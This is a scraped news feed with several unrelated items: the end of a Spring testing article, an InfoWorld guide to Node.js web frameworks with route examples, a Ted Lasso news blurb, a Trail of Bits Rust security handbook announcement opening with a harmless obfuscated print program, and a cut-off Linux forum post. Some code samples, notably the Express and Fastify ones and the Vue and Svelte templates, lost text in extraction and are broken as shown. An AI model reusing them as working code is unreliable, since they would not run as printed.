<p class="wp-block-paragraph">In the <code>WidgetRepositoryTest</code> class, we autowire in both our <code>WidgetRepository</code> and <code>TestEntityManager</code>. Then, we define a <code>setup()</code> method that is annotated with JUnit’s <code>@BeforeEach</code> annotation, so it will be executed <em>before</em> each test case runs. Next, we define a <code>teardown()</code> method that is annotated with JUnit’s <code>@AfterEach</code> annotation, so it will be executed <em>after</em> each test completes. The class defines a <code>testWidgets</code> list that contains three test widgets and then the <code>setup()</code> method inserts those into the database using the <code>TestEntityManager</code>’s <code>persist()</code> method. After it inserts each widget, it saves the automatically generated ID so that we can reference it in our tests. Finally, after persisting the widgets, it flushes them to the database by calling the <code>TestEntityManager</code>’s <code>flush()</code> method. The <code>teardown()</code> method iterates over all <code>Widget</code> IDs, finds the <code>Widget</code> using the <code>TestEntityManager</code>’s <code>find()</code> method, and, if it is found, removes it from the database. Finally, it clears the widget ID list so that the<code> setup()</code> method can rebuild it for the next test. (Note that the <code>TestEntityManager</code> removes entities directly; it does not have a <em>remove by ID</em> method, so we first have to find each <code>Widget</code> and then remove them one-by-one.)</p>



<p class="wp-block-paragraph">Even though most of the methods being tested are autogenerated and well tested, I wanted to demonstrate how to write several kinds of tests. The only method that we really need to test is the <code>findByName()</code> method because that is the only custom method we define. For example, if we were to define the method as <code><em>findByNam()</em></code> instead of <code>findByName()</code>, then the method would not work, so it is definitely worth testing.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Spring provides robust support for testing each layer of a Spring MVC application. In this article, we reviewed how to test controllers, using <a href="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html" data-type="link" data-id="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html">MockMvc</a>; services, using the <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html" data-type="link" data-id="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit Mockito extension</a>; and repositories, using the Spring <a href="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html" data-type="link" data-id="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html">TestEntityManager</a>. We also reviewed slice testing as a strategy to reduce testing resource utilization and minimize the time required to execute tests. Slice testing is implemented in Spring using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations. I hope these examples have given you everything you need to feel comfortable writing robust tests for your Spring MVC applications.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV: „Ted Lasso“-Fan-Event in Kansas City]]></title>
<description><![CDATA[Ted Lasso gehört zweifelsfrei zu den beliebtesten Serien auf Apple TV. Nicht ohne Grund setzt Apple die Comedy-Serie fort. Anfang August startet die vier Staffel und im Vorfeld fand nun ein Fan-Event in Kansas City statt. Serien-Stars, wie z.B. Jason Sudeikis, Juno Temple, Brendan Hunt, Jeremy Sw...]]></description>
<link>https://tsecurity.de/de/3665633/ios-mac-os/apple-tv-ted-lasso-fan-event-in-kansas-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665633/ios-mac-os/apple-tv-ted-lasso-fan-event-in-kansas-city/</guid>
<pubDate>Mon, 13 Jul 2026 16:55:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso gehört zweifelsfrei zu den beliebtesten Serien auf Apple TV. Nicht ohne Grund setzt Apple die Comedy-Serie fort. Anfang August startet die vier Staffel und im Vorfeld fand nun ein Fan-Event in Kansas City statt. Serien-Stars, wie z.B. Jason Sudeikis, Juno Temple, Brendan Hunt, Jeremy Swift und Abbie Hern nahmen an der Veranstaltung teil. […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust-proof your code with our new Testing Handbook chapter]]></title>
<description><![CDATA[We’ve added a new chapter to our Testing Handbook: a comprehensive guide to security testing Rust programs. This chapter covers the tools and techniques we use at Trail of Bits to validate the security of Rust programs and systems.

fn
main()
{(|f:&dyn
Fn(u128)->Box]]></description>
<link>https://tsecurity.de/de/3665022/it-security-nachrichten/rust-proof-your-code-with-our-new-testing-handbook-chapter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665022/it-security-nachrichten/rust-proof-your-code-with-our-new-testing-handbook-chapter/</guid>
<pubDate>Mon, 13 Jul 2026 13:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’ve added a new chapter to our <a href="https://appsec.guide/">Testing Handbook</a>: a comprehensive guide to security testing Rust programs. This chapter covers the tools and techniques we use at Trail of Bits to validate the security of Rust programs and systems.</p>
<div>
<div class="highlight"><pre tabindex="0"><code class="language-rust" data-lang="rust"><span><span><span>fn</span>
</span></span><span><span><span>main</span>()<span>
</span></span></span><span><span><span></span>{(<span>|</span>f:<span>&amp;</span><span>dyn</span><span>
</span></span></span><span><span><span></span><span>Fn</span>(<span>u128</span>)-&gt;<span>Box</span><span>&lt;</span><span>
</span></span></span><span><span><span></span><span>dyn</span><span> </span><span>Iterator</span><span>&lt;</span>Item<span>=</span><span>
</span></span></span><span><span><span></span><span>char</span><span>&gt;+</span><span>'static</span><span>&gt;|</span>f(<span>*</span>[<span>&amp;</span>(<span>
</span></span></span><span><span><span></span><span>0x7B736D70683F73</span><span>u128</span><span>&lt;&lt;</span><span>64</span><span>|</span><span>
</span></span></span><span><span><span></span><span>0x7A6A6D7C3F7A667D</span>),<span>&amp;</span>(<span>0x7B736D</span><span>u128</span><span>
</span></span></span><span><span><span></span><span>&lt;&lt;</span><span>64</span><span>|</span><span>0x70683F7073737A77</span>)][((std::hint::
</span></span><span><span><span>black_box</span>(<span>0.0</span><span>f64</span>)<span>/</span><span>0.0</span>).to_bits()<span>&gt;&gt;</span><span>63</span>)<span>as</span><span> </span><span>usize</span>])<span>
</span></span></span><span><span><span></span>.for_each(<span>|</span>c<span>|</span><span>print!</span>(<span>"</span><span>{c}</span><span>"</span>)))(<span>Box</span>::leak(<span>Box</span>::new(<span>|</span>n:
</span></span><span><span><span>u128</span><span>|</span><span>Box</span>::new(std::iter::successors(<span>Some</span>(n),<span>|&amp;</span>n<span>|</span><span>Some</span>(n<span>&gt;&gt;</span><span>8</span>)<span>
</span></span></span><span><span><span></span>).take_while(<span>|&amp;</span>n<span>|</span>n<span>&gt;</span><span>0</span>).map(<span>|</span>n<span>|</span>((n<span> </span><span>as</span><span> </span><span>u8</span>)<span>^</span><span>0x1F</span>)<span>as</span><span> </span><span>char</span>))<span>as</span><span> </span>_)))}</span></span></code></pre></div>
</div>
<h2>What’s in the chapter</h2>
<p>The chapter starts with a security overview of what Rust’s guarantees do and don’t cover, including underappreciated issues like unwind safety, nondeterminism, and arithmetic errors. This leads into an overview of dynamic analysis, which covers a range of boosters for unit tests, how to use Miri to detect undefined behavior, property testing with <code>proptest</code>, coverage measurement, and mutation testing. The static analysis section then covers Clippy in depth, including a list of our favorite lints.</p>
<p>Beyond tooling, the chapter also covers what we’ve learned from auditing Rust codebases directly. Our gotchas and footguns checklist is a great reference for manual code reviews, and will help you find subtle issues like <code>a &amp; b == c</code> having different operator precedence than in C. The memory zeroization section offers three solutions to the tricky problem of guaranteeing that secrets are erased from memory.</p>
<p>Finally, the specialized testing sections cover tools like Kani (a model checker), and the supply chain section covers the full toolchain for vetting dependencies.</p>
<h2>Still oxidizing</h2>
<p>We’ve also <a href="https://github.com/trailofbits/skills/tree/main/plugins/rust-review">released rust-review</a>, a Claude Code plugin for automated Rust security reviews. Co-built with Aptos Labs, it targets over a dozen bug classes, from memory safety and concurrency hazards to FFI pitfalls and async cancellation issues. It’s a fast way to catch security issues in a Rust codebase before they make it to audit.</p>
<p>Our goal is to keep the handbook current as the Rust ecosystem evolves. If your favorite tool or gotcha isn’t covered, <a href="https://github.com/trailofbits/testing-handbook">submit a PR</a>. And if you need help securing your Rust systems, <a href="https://www.trailofbits.com/contact/">contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Today I suddenly realized what a mad man I have become after 3 years of using Linux]]></title>
<description><![CDATA[So, let's roll back a few years ago. At that time I was starting to learn programming, and our family had friends (a couple) that actually were willing to teach me some stuff, I was excited because the husband, at that time, seemed to me like Gandalf, wanting to share his wisdom with me, a hobbit...]]></description>
<link>https://tsecurity.de/de/3664091/linux-tipps/today-i-suddenly-realized-what-a-mad-man-i-have-become-after-3-years-of-using-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664091/linux-tipps/today-i-suddenly-realized-what-a-mad-man-i-have-become-after-3-years-of-using-linux/</guid>
<pubDate>Mon, 13 Jul 2026 04:25:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>So, let's roll back a few years ago.</p> <p>At that time I was starting to learn programming, and our family had friends (a couple) that actually were willing to teach me some stuff, I was excited because the husband, at that time, seemed to me like Gandalf, wanting to share his wisdom with me, a hobbit that was living his normal life in the Shire (Windows).</p> <p>Alas, the classes did not last long, but one big thing that changed during that time period was my introduction to the wonderful world of Linux, and so, at last, my journey had begun.</p> <p>One must imagine how naive I was at the time, Ubuntu and Gnome were my friends with whom I fought battles side to side for quite a while. The dark terminal was scaring me, and I felt awkward using cd, ls, and even nano! But with time, my skills were sharpening, so as my tools. I began learning vim, using kitty instead of built in default terminal, and tiling window managers were beginning to appear at the horizon, I was learning.</p> <p>Fast moving forward, for the past 2 years at this point I have been using tiling window managers, split ortholinear ergo keyboard, configs are written by myself personally, I also have my personal nvim and vim setups, terminals etc. And recently I decided to take a look at the holy church of emacs (because that is what Gandalf the Gray said he used when I asked about his preference of choice in editors, I did not understand his choice at the time). One quick search introduced me to doom emacs (neat configuration that uses vim motions and is well put together already for you, like NVChad or LazyVim), I gave it a shot, and I loved it! But something felt wrong... And I knew exactly what: "It is not mine... I did not configure this, somebody else did and I am just sitting here and using it?". Well, yes, I made a decision to make my own configuration of emacs! And it seemed like a great opportunity to learn about it, what a great combo! (At this point you may already see how far gone I am)</p> <p>And so I have began diving in a rabbit hole after a rabbit hole, it is a never ending cycle that goes to this day. Fun fact: do you know what tree-sitter, that little program that gives you code highlighting actually is? Well, it is a parser generator, but have you ever wondered what a parser is and how it works? I am not going to answer those questions, you can research on your own, that is actually super 